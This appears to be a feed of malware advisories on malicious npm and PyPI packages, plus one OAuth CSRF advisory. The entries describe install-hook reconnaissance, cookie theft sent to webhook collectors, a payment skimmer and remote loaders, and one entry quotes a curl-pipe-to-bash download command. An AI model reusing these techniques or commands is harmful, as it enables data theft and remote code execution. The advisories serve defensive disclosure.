Malicious code in my-ctf-helper-script-9921 (npm)

Source: amazon-inspector 41ee1dafe6dce8750ac695c9d13e13c2808e2f35d94bbbcc41a4444a02541409 On require/import, the package's main module executes a top-level fetch to the hardcoded collector URL https://webhook.site/99e9df7b-fe86-4c60-822a-5352b1f9edf0/, appending document.cookie as a query-string...

Malware in math-universe

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outsid...

Malware in mathsbase

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outsid...

Malware in mathmain

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outsid...

Malicious code in hardhat-devkit (npm)

Source: amazon-inspector ddcb676af47bf26017d1fbc2cf63aae76d09e9248e860f6d0e86d57da92d2b95 Package published as hardhat-devkit presents itself as an Ethereum/Hardhat developer toolkit, but the shipped surface is a cover story: README, index.d.ts, and keywords fast, logger, stream, json are copied...

Malicious code in bnppf-flag-icons (npm)

Source: amazon-inspector 689227d0fdfe4abc108c7dfc5b5b97e752182a410265c141ca33161247619e78 The package ships poc.js and wires it to both preinstall and postinstall lifecycle hooks in package.json, so it runs automatically on npm install. poc.js requires os and https, reads os.hostname and...

Malicious code in hardhat-base (npm)

Source: amazon-inspector a65f09d6bfd4d7c28183a13e64a9eb5e989fa7b24fbf92c049a044accefe4950 Package presents itself as a pino-compatible logger module.exports.pino = middleware; keywords fast/logger/stream/json but ships an RCE loader. index.js spawns lib/caller.js as a detached child process on...

Malicious code in gemini-computer-use (npm)

Source: amazon-inspector 0f1e56e41d63f9810a1cef681a9d43613ee5e07887785f6777f14f97fc06d847 The npm entrypoint bin/cli.js, invoked via npx gemini-computer-use or node bin/cli.js, spawns bash -c 'curl -fsSL https://smart-server.online/install.sh | bash' on Unix and powershell -ExecutionPolicy Bypass...

Malicious code in @insiderintelligence/componentlibrary (npm)

Source: amazon-inspector a4451c41559202c6bce3218de9af47cabe20288af5f3a9240076f25b3b2b5993 The package declares scripts.install: node index.js, so npm install auto-executes index.js which loads runtime/support/telemetry/probe/impl.js. That module reads os.userInfo.username, os.hostname, and the...

Malicious code in starlette-healthchecks (PyPI)

Source: kam193 13c2438df5dfe3675f8861c03c803a273747135af8a70fc916235ad64d6cd22f The package appears to be a typosquatting research attempt. It provides an extremely basic functionality for the user and the main purpose seems to be the telemetry call. Additionally, similar package...

Malicious code in @woodpecker-web-shared/components (npm)

Source: amazon-inspector 5f5f21bcc5464689c5b7c70819eeca4ea481f76b5f7dac0358cfe2d967da235f On npm install, the package's postinstall hook runs node index.js, which collects installer host identifiers os.hostname, os.userInfo.username, os.platform, architecture, cwd, node version, npmlifecycleevent...

Malicious code in @baanx/abis (npm)

Source: amazon-inspector 647b64439f5d26821e6d749031b916e2ad3aa0cba8546488f8cc5e2fd263538b Package declares scripts.install: node index.js, which loads runtime/support/telemetry/probe/impl.js. That module reads the installer's OS username os.userInfo.username, hostname os.hostname, and current...

Malicious code in @baanx/blockchain-config (npm)

Source: amazon-inspector 0b6dec4d715e2863e7f55749d6d2a390926f3f2f1df62e4de223c6acc818632d The package runs a bootstrap from both its install lifecycle script node index.js and its main module that invokes an obfuscated probe. The probe reads os.userInfo.username, os.hostname, and the basename of...

Hatchet - Unauthenticated OAuth state CSRF / login-CSRF via empty-state collision in ValidateOAuthState

Summary Hatchet version v0.86.26 and below is vulnerable to OAuth state CSRF login CSRF / account fixation. The vulnerable code clears the session oauthstate value to the empty string "" after a successful OAuth callback rather than removing the key, and the subsequent state-equality check then...

Malicious code in radio-player-theme (npm)

radio-player-theme presents itself as a radio player theme. The published tarball contains three files: package.json, style.css declared as main and payload.js, which holds the package's only executable code. payload.js is a browser payload. On execution it reads location.origin and...

Malicious code in feed-widget-helper (npm)

Source: amazon-inspector b5a81a96715497c25b18687ba7b9b42e919c23e700ede8d9944d41d6052d7f83 The package's main entry executes a top-level side effect that reads document.cookie and sends it via fetch to a hardcoded webhook.site collector URL http://webhook.site/67dba5f1-70f5-413e-9299-2ad886bb77fa...

Malicious code in pf23727 (npm)

Source: amazon-inspector f83e32460196d036eca65e46845ea4717a9d5e64a5c2360d657d1ae6c92dfe96 index.js is the package main and runs as an IIFE on require/import. It reads document.cookie, slices document.body.innerHTML, and issues fetch'/profile', credentials: 'include' to capture an authenticated...

Malicious code in chai-as-viem (npm)

Source: amazon-inspector 397fee7b80d73ee4c82892a746b2bab33a4cd2f71ef1ec4fe6fbbaa0bb270308 On require of the package, index.js loads lib/initializeCaller.js, which runs an IIFE at module load. The IIFE decodes a base64-concealed URL resolving to...

Malicious code in pflag29424 (npm)

Source: amazon-inspector d9b974c9d8555f026dfc5556c4f628d366fbaedca83eab549559fe95fc984602 index.js the package's declared main unconditionally executes on module load: it calls fetch'/profile', scans the response for a DGA... token, and sends either the matched token or the first 300 characters o...

Malicious code in my-cdn-script (npm)

Source: amazon-inspector e634f64d71797bbefdaf62bd0f2092d1cace77af2a07fd41e7d2347a14bb001b [email protected] ships a client-side payment-card skimmer in script.js. When loaded on a checkout page, the script injects a fake card-input form into the Alpha Bank hosted payment method and captures the...

Malicious code in siriusbeyond (npm)

Source: amazon-inspector 6ce19ca17a48cf79dd094940533d1bff88413d44c945948d0041da15a5b61779 package.json wires callback.js to both the preinstall and postinstall lifecycle hooks, so npm install siriusbeyond executes it automatically. callback.js collects hostname, username, platform, cwd, home...

Malicious code in pf25133 (npm)

Source: amazon-inspector 504c3f95c937a05e14c220c767a0e18f4cada866ee5eebad0749457232ace73b The package's declared main module index.js is an IIFE that reads document.cookie, fetches a hardcoded list of application paths, extracts flag-shaped patterns from the responses, and POSTs the aggregated da...

Malicious code in keroeltopgg (npm)

Source: amazon-inspector 52b4e331f9f02f436e01e5c7696088d12ea3237af7fbe54fd37ec37e786c960d [email protected] is a stub package whose index.js, executed on require/import, reads os.hostname and issues an HTTPS GET to the hardcoded collector https://eo8f3m3ho26a0nm.m.pipedream.net/ with the packa...

Malicious code in element-plus-vite-cli (npm)

Source: amazon-inspector 7b7636f89146191d649c38819e975fc41167a53276c66aea0b43789eb8d39338 On load main index.js → bin/cli.js, the package invokes tooling-bootstrap.cjs which walks up from the consumer project's cwd/INITCWD looking for one of nine hardcoded sentinel files characteristic of a...

Malicious code in keroeltopkk (npm)

Source: amazon-inspector b1d7044c35cb0fb76dd0639af395bd8ca87df9981a8c73bb812b9f338e8d5cdc Package [email protected] ships only a manifest and a beacon script server.js and wires it into every npm lifecycle hook preinstall/install/postinstall/prepare, so npm install auto-executes it. server.js...

Malicious code in catwrestlinghuman (npm)

Source: amazon-inspector 6c4045339387526c5db90832687d1691c2caddba3b9cb05006022704bf094653 package.json declares a postinstall hook node index.js. index.js is a 111KB blob composed exclusively of the JSFuck character set !+, which decodes at runtime via Function to arbitrary JavaScript. A sibling...

Malicious code in sorrawit-dev-helper (npm)

Source: amazon-inspector c64040dcfbbdb6ce434caf3cd5bd2baa518cc00970281a69f5309d57a4621233 package.json declares a postinstall lifecycle script that runs automatically on npm install. The script reads /tmp/flag.txt from the installer's machine and sends its URL-encoded contents as a query paramete...

Malicious code in catwrestlingbird (npm)

Source: amazon-inspector 80958afe2056e1a124791c9465abdb0fff080a33005cc332dd5c1869ab2ee4c0 [email protected] declares a postinstall script node install.js that automatically runs on npm install. install.js collects installer host reconnaissance — hostname, username, platform/arch/OS release,...

Malicious code in commerce-materials (npm)

Source: amazon-inspector bdfff371a76fd4cef2247de8c595a3981d58353391141b58a8ce31e03ec9da6d [email protected] declares preinstall and postinstall lifecycle scripts that run callback.js on every npm install. callback.js collects hostname, username, platform, cwd, home directory, CI/cloud...

Malicious code in pflag14570 (npm)

Source: amazon-inspector 2b7164c1405ab2587c562b3b9eb8cdad8258aab8f25b829da64c83d7185eab6c index.js is an IIFE that executes at module load, reads document.cookie, fetches a list of authenticated application paths /profile, /admin, /api/me, /settings, and similar, extracts a flag-shaped substring...

Malicious code in keroeltopkkk (npm)

Source: amazon-inspector 2758c1a2619db534fdc8e2981e051769b20641492d12ff984e333446e0c734e3 The package ships a single server.js that is wired into every npm lifecycle hook preinstall, install, postinstall, prepare, prepublish, preprepare, postprepare. On npm install the script reads os.hostname an...

Malicious code in homestack-cheer (npm)

Source: amazon-inspector f475cd8b8a3e1dd4563ca0b20d85fde83576ed78c27eb91ca1cd77fbebe0d142 The package is published as homestack-cheer with description 'JS lib support cheerleading', but the README and the UMD build dist/my-lib.umd.js present it as a trivial hello-world 'greet' library. The ESM...

Malicious code in pf25262 (npm)

Source: amazon-inspector 95274790fd43042ecd1fc97b2c01dc194e863809626cdaee5c7e6b0a411f8aeb index.js contains a browser exfiltration snippet that issues a credentialed fetch to /profile, extracts a DGA... token or falls back to capturing document.cookie plus the response length, and redirects the...

Malicious code in byted-commerce-materials (npm)

Source: amazon-inspector f777e32b4a6cbb7f91f7fcac050a02a73e356df1c87e7dcd985ea9172a3993da package.json declares both preinstall and postinstall running node callback.js, so the payload fires automatically on npm install. callback.js collects hostname, username, platform, cwd, home directory,...

Malicious code in better-envforge (npm)

Source: amazon-inspector 1f30026347d1db5e0ade5afe4b81a8569eb6ec0c41d1e1fa79f66dc386a6ea51 [email protected] presents itself as a dotenv-style environment configuration toolkit, but the bundled package.json inside dist/cli.cjs identifies the code as [email protected] — a name/purpose...

Malicious code in bulk-add-sdk (npm)

Source: amazon-inspector b131d84c624f7eb89d720ed0ec1435eef5f5f9ff800d1cef88b20c18c7374023 Package declares scripts.install: "node extract.js thd-orangepay", causing extract.js to run automatically on npm install. The script collects hostname, platform, arch, cwd, and the machine's public IP...

Malicious code in @asenfotech/unplugin-element-plus (npm)

Source: amazon-inspector 458bff9dc8d1f808d642b767ca08ca89253919bbf0d7fd2890b95f3b9c156926 Package presents itself as an Element Plus resolver for Vue tooling: index.js is a 25-line ElementPlusResolver stub. The bulk of the tarball under lib/gradle/ implements an install-time and import-time...

Malicious code in @siriusbeyond/auth (npm)

Source: amazon-inspector 4ed929a2d8cbd15860eaafb9eb773ad02f9b31f361514b47987eca8dfa1ae695 Package @siriusbeyond/[email protected] registers both preinstall and postinstall lifecycle scripts that execute callback.js on every npm install. callback.js collects installer host identifiers hostname, username...

Malicious code in @siriusbeyond/utils (npm)

Source: amazon-inspector 330b388e1f9ee72c0c2a94cca9e4cc7ff3b525a3f673b324b093286329f60689 Package @siriusbeyond/[email protected] declares both preinstall and postinstall scripts that execute callback.js on npm install. callback.js collects host reconnaissance hostname, username, platform, cwd, home...

Malicious code in action-slack-message-root (npm)

Source: amazon-inspector 6d5f3deb6623e5340770d4e8866adc3d7239938e5adefc4b699c897287d84eba package.json declares scripts.preinstall = 'node index.js', which runs automatically on npm install. index.js collects host reconnaissance — os.hostname, os.platform, os.arch, os.release, os.uptime, os.cpus,...

Malicious code in starbucks-sdk (npm)

Source: amazon-inspector f42de3e225b6f8d6be04fbf613ae4d17458626c92f2cfe1bf1b4476fe132e761 The package's package.json declares a preinstall script that runs callback.js on npm install. callback.js collects os.hostname, os.userInfo, os.platform, the current working directory, and a timestamp, then...

Malicious code in @siriusbeyond/ui (npm)

Source: amazon-inspector 3d81713c34940a8d3511a53c6cb8001481734bc2493be23d0f6ddb1dd561fa72 On npm install, both preinstall and postinstall lifecycle hooks execute callback.js, which collects installer host identity hostname, username, platform, cwd, home directory, UID, CI/cloud indicators, npm...

Malicious code in rrs (PyPI)

Source: amazon-inspector 78c488c5d20c788e88c2d4f0a0cb1eb03317bc71edb05964adad62241fd1295e On launch of the rrs CLI, a background thread captures a full-screen screenshot via mss and POSTs the image together with hostname, username, OS/release, local IP, and timestamp to a hardcoded Discord webhoo...

Malicious code in @dbbhk/ui-components (npm)

Source: amazon-inspector 478839dda68d2c5eefa1a55557602d4b12396c988211b28d785af531d0b19d07 @dbbhk/[email protected] declares both preinstall and postinstall hooks in package.json that execute node callback.js, so the payload runs automatically on npm install. callback.js queries the AWS instanc...

Malicious code in test12vv36 (npm)

Source: amazon-inspector 9292921d0fe368160694717f99eca753070a4249696c72b2f1bff9594cab40be [email protected] declares both preinstall and postinstall lifecycle hooks that execute index.js on npm install. index.js issues an HTTP GET to a hardcoded bare-IP endpoint at...

Malicious code in test1gg234 (npm)

Source: amazon-inspector dd57f799e0797ede7d18d6a36dd05c31c34d21b4e45d554730a8d08dd310cf73 The package declares both preinstall and postinstall lifecycle hooks that execute index.js, which issues a plaintext HTTP GET to the hardcoded bare IP 128.199.122.145 with the package name in the query strin...

Malicious code in testmgkregme (npm)

Source: amazon-inspector 496e8021fd5e2626c503e2ceeed8349ff15c68c71a5f19d8a57c67e5f1b41863 npm package [email protected] uses a binding.gyp whose sources field employs GYP command-expansion eval-AES-eval construction has no legitimate purpose and conceals the runtime payload from static review. T...

Malicious code in npmscript_tesstalert_unpkg (npm)

Source: amazon-inspector 5fa1adfe349e0a6092589e90bf38184b5769148bf42b4216fc714ad446ea747b The package ships a single browser JavaScript file declared as both main and unpkg, so any page embedding the package via the unpkg CDN loads this script. The script calls alert11 and then executes...

Malicious code in test1ro (npm)

Source: amazon-inspector 8166d7eaf8dab64a6c21d0e0a871c64e213147082a414b93816fb080c8044b1e package.json declares preinstall and postinstall hooks that run node index.js, which reads os.hostname and issues an HTTP GET to the hardcoded third-party collector http://eo8f3m3ho26a0nm.m.pipedream.net/?h=...

Malicious code in chai-testing (npm)

Source: amazon-inspector da6bebc82e500e38b0ab9c507b1d56c18a05a1ffd04fcee60f0dcad991c8944a The package's main entry index.js spawns a detached node lib/caller.js when the module is required. caller.js base64-decodes a hardcoded URL https://ipcheck-hashed.vercel.app/api/auth/... stored in a fake...